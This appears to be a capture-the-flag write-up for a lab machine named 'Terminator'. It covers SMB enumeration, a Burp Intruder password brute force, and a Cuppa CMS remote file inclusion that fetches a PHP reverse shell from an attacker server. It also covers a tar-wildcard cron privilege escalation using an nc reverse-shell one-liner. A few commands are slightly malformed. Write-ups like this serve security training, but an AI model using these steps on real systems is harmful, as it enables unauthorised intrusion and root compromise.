Terminator

1. What is Miles password. Run nmap `nmap -sCV -Pn $ip` and we see smb is open. Enumerate the smb by using smbclient -L $ip and we see that there is anonymous login. We also 1 smb with username milesdyson which may be his username for some kind of login. Going into the anonymous login, we go to logs and see there are a few passwords in log1.txt. Finally, when using dirbuster, we found a squirrelmail dir. Going to the squirrelmail url, we can try to crack the password burpsuite. Send it to intruder and perform sniperattack. `login_username=milesdyson&secretkey=§pass&js_autodetect_results=1&just_logged_in=1`. Run the sniper attack and we just look for 302 code response which is the successful login
2. Hidden directory. Snoop around the email and we see his smb password. It has alot of special character so we need to save it to a txt file to login. We name it auth.txt. Then login to milesdyson smbshare using smbclient //$ip/milesdyson -A auth.txt. cd to notes and check out important.txt it contains the hidden directory
3. What is the vulnerability called when you can include a remote file for malicious purposes? -> remote file inclusion
4. user flag? visit the hidden directory and we don't find anything. We can try dirbuster again but this time append the hidden directory and we found cuppa cms. Check the version by inspecting source code and we see that it is running a version that has cve. the cve is extremely simple to do we just need to startup a python http server with a reverse shell php script ready. then just execute `$ip/hiddendirectory/administrator/alerts/alertConfigField.php?urlConfig=http://yourthmip:8000/reverseshell.php?`
5. To elevate privilege, check the home directory and then backup dir. It seems to run every minute when we cat /etc/crontab. Check the backup.sh script we can see that it cd to /var/www/html and backup. We can maybe modify the backup.sh but seems like its read only. However there is another exploit we can perform by abusing tar wildcards and checkpoint. To do this, we create a script using `echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip>1234 >/tmp/f" > shell.sh` then `cd touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"` and finally `cd touch "/var/www/html/--checkpoint=1"` Listen to port 1234 and we will get a elevated shell.
6.